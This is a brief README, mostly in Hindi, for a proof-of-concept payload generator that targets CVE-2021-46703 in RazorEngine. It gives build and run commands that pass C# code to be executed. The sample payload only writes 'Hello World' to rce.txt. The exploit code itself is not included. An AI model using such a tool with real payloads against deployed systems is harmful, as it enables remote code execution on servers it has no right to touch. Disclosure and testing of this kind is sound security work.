CVE-2021-46703

सरल पेलोड निर्माता POC पर आधारित: https://github.com/Antaris/RazorEngine/issues/585

उपयोग

C#

dotnet build --configuration Release
.\bin\Release\net4.8\Poc.exe "System.IO.File.WriteAllText(\"rce.txt\", \"Hello World\");"

Python

./poc.py "System.IO.File.WriteAllText(\"rce.txt\", \"Hello World\");"

आभार

• https://www.yielddd.com/about-us/discovery-of-a-critical-open-source-vulnerability-cve-2021-46703